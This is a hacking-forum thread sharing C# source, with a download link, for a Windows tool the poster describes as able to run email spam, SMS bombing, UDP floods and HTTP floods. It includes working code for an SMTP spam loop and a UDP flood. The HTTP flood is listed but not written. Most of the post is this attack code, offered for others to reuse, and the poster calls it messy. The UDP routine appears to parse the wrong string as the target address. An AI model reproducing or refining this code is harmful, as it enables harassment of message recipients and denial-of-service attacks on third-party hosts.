Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

.NET 

Command Line Interpreter

Hello There HackForums!


I am making this thread as quick and easy to understand as possible. Recently I took on a new project, which was indeed very simple. It is a Command Line system - similar to the Command Prompt Layout - that could preform things such as, email spam, cell phone spam, UDP flood, HTTP flood, all that jazz. I did it as basic project to get better at using substrings, keydown method, etc in C#. About halfway through the program I decided to stop because my code was getting a little messy and I was getting bored. I am releasing the program and source here for HackForums to modify, leech, whatever. I hope you guys find better use for it than I did.

To Submit a Command, Type it into the box and press [Enter]

*NOTE, HTTP has not yet been added

Pictures
[IMG]http://i55.[censored].com/eh0ihe.jpg[/IMG]
[IMG]http://i56.[censored].com/333d9go.jpg[/IMG]

Download
http://www.multiupload.com/VZV1MYISKD

Virus Scan
http://www.virustotal.com/file-scan/repo...1285422285

As I said before guys this code is very messy. I wouldn't be surprised if someone had issues with getting it to work. Anyway I HOPE someone can learn something from this. Good luck.

Command Form
Code
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Net.Mail;
using System.Net.Sockets;

// add rest of commands
// Fix GUI
//Mr Predictable

namespace Command_Line_v_1._1
{
    public partial class Form1 : Form
    {
  public Form1()
  {
    InitializeComponent();
  }

  private void button1_Click(object sender, EventArgs e)
  {

    if (textBox1.Text.Contains("spam"))
    {

    backgroundWorker1.RunWorkerAsync();

    }

    else if (textBox1.Text.Contains("udp"))
    {
    backgroundWorker2.RunWorkerAsync();
    }

    else
    {
    listBox1.Items.Add("Please Enter a Valid Command");
    }
  }

  private void backgroundWorker1_DoWork(object sender, DoWorkEventArgs e)
  {

    System.Windows.Forms.Form.CheckForIllegalCrossThreadCalls = false;

    backgroundWorker1.WorkerSupportsCancellation = true;

    for (int i = 0; i < 99 - 1; i++) //left at 99 until i was finished!
    {

    String k = "";
    string a = textBox1.Text;

    k = a.Substring(5);

    System.Threading.Thread.Sleep(1000);

    MailMessage mail = new MailMessage();
    SmtpClient SmtpServer = new SmtpClient("smtp.gmail.com");

    mail.From = new MailAddress(textBox2.Text);
    mail.To.Add(k);
    mail.Subject = "Spam";
    mail.Body = textBox4.Text;

    SmtpServer.Port = 587;
    SmtpServer.Credentials = new System.Net.NetworkCredential(textBox2.Text, textBox3.Text);
    SmtpServer.EnableSsl = true;

    SmtpServer.Send(mail);

    listBox1.Items.Add("E-Mail Message Sent" + " " + "At" + " " + DateTime.Now.ToShortTimeString());

    if (backgroundWorker1.CancellationPending)
    {
    break;

    }

    }
  }

  form2 Form2 = new form2();
  public static TextBox tb2 = new TextBox();
  public static TextBox tb3 = new TextBox();
  public static TextBox tb4 = new TextBox();
  public static TextBox tb5 = new TextBox();
  private void Form1_Load(object sender, EventArgs e)
  {
    tb2 = textBox2;
    tb3 = textBox3;
    tb4 = textBox4;
    tb5 = textBox5;

    Form2.Show();

    textBox1.Select();

  }

  private void backgroundWorker1_RunWorkerCompleted(object sender, RunWorkerCompletedEventArgs e)
  {
    listBox1.Items.Add("Waiting for New Command...");
  }

  private void textBox1_TextChanged(object sender, EventArgs e)
  {
    if (textBox1.Text == "?")
    {
    listBox1.Items.Clear();
    listBox1.Items.Add("? - Help Menu");
    listBox1.Items.Add("!udp <IP Address> - UDP Flood");
    listBox1.Items.Add("!http <Host> - HTTP Flood");
    listBox1.Items.Add("!spam <E-Mail / Cellphone@provider - E-Mail or SMS Bomber");
    listBox1.Items.Add(" ");
    listBox1.Items.Add("Waiting For New Command...");

    }

    else if (textBox1.Text == "exit")
    {
    this.Close();
    }

    else if (textBox1.Text == "")
    {

    listBox1.Items.Add("Waiting For Command...");
    }
  }

  private void textBox1_KeyDown(object sender, KeyEventArgs e)
  {
    if (e.KeyCode == Keys.Enter)
    {
    button1_Click(null, null);
    }

    else if (e.KeyCode == Keys.F4)
    {
    backgroundWorker1.CancelAsync();
    textBox1.Text = "";

    }

  }

  private void listBox1_SelectedIndexChanged(object sender, EventArgs e)
  {

  }

  private void backgroundWorker1_ProgressChanged(object sender, ProgressChangedEventArgs e)
  {

  }

  private void backgroundWorker2_DoWork(object sender, DoWorkEventArgs e)
  {
    System.Windows.Forms.Form.CheckForIllegalCrossThreadCalls = false;

    backgroundWorker2.WorkerSupportsCancellation = true;

    string IP = "";
    string b = textBox1.Text;
    IP = b.Substring(5);
    textBox7.Text = IP;

    {

    try
    {
    for (int i = 0; i < 99; i++)
    {
    UdpClient udpClient = new UdpClient(int.Parse(textBox5.Text));

    udpClient.Connect(System.Net.IPAddress.Parse(b), int.Parse(textBox5.Text));

    Byte[] sendBytes = Encoding.ASCII.GetBytes("123456789abcdefghijklmnopqrstuvwxyz!@#$%^&*");

    udpClient.Send(sendBytes, sendBytes.Length);

    listBox1.Items.Add("Bytes Sent");

    udpClient.Close();
    }

    }

    catch (Exception ef)
    {
    MessageBox.Show(ef.ToString());
    }

    }

  }
    }
}

Credentials/TOS Form
Code
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;

namespace Command_Line_v_1._1
{
    public partial class form2 : Form
    {
  public form2()
  {
    InitializeComponent();
  }

  public static TextBox tb = new TextBox();
  public static TextBox tb2 = new TextBox();
  public static TextBox tb3 = new TextBox();
  public static TextBox tb4 = new TextBox();

  private void form2_Load(object sender, EventArgs e)
  {

    tb = textBox1;
    tb2 = textBox2;
    tb3 = textBox3;
    tb4 = textBox4;
  }

  private void jToolStripMenuItem_Click(object sender, EventArgs e)
  {

  }

  private void passwordToolStripMenuItem_Click(object sender, EventArgs e)
  {

  }

  private void label1_Click(object sender, EventArgs e)
  {
    System.Diagnostics.Process.Start("https://hackforums.net");
  }

  private void textBox3_TextChanged(object sender, EventArgs e)
  {

  }

  private void textBox3_Click(object sender, EventArgs e)
  {

    if (textBox3.Text == "Default Message For SMTP Function...")
    {
    textBox3.Text = "";
    }

  }

  private void textBox3_Leave(object sender, EventArgs e)
  {

    if (textBox3.Text == "")
    {
    textBox3.Text = "Default Message For SMTP Function...";
    }

    else

    {
    textBox3.Text = textBox3.Text;
    }

  }

  private void button1_Click(object sender, EventArgs e)

  {
    Form1.tb2.Text = tb.Text;
    Form1.tb3.Text = tb2.Text;
    Form1.tb4.Text = tb3.Text;
    Form1.tb5.Text = tb4.Text;

    textBox1.ReadOnly = true;
    textBox2.ReadOnly = true;
    textBox3.ReadOnly = true;

    this.TopMost = false;
  }

  private void button2_Click(object sender, EventArgs e)
  {
    textBox1.ReadOnly = false;
    textBox2.ReadOnly = false;
    textBox3.ReadOnly = false;

    this.TopMost = true;
  }

  private void textBox1_TextChanged(object sender, EventArgs e)
  {

  }

  private void checkBox1_CheckedChanged(object sender, EventArgs e)
  {

  }
    }
}

Enjoy
http://www.pulsecodes.info
Computer and Information Science major.
Information Technology Apprentice.
Freelance Programmer.
Wow great stuff there dude. I'm Downloading It Now I Hope Its Good.
~W0ot


Possibly Related Threads...
Thread / Author Replies Views Last Post
[Python] by MiguelSanchezFeb 1, 2022 08:17 AM 0 161 Feb 1, 2022 08:17 AM
Last Post: MiguelSanchez
[Python] by MiguelSanchezJan 22, 2022 07:01 AM 0 149 Jan 22, 2022 07:01 AM
Last Post: MiguelSanchez
[Python] by VUEDUEJun 3, 2021 04:20 PM 5 224 Jun 3, 2021 04:20 PM
Last Post: Freddy Kruеger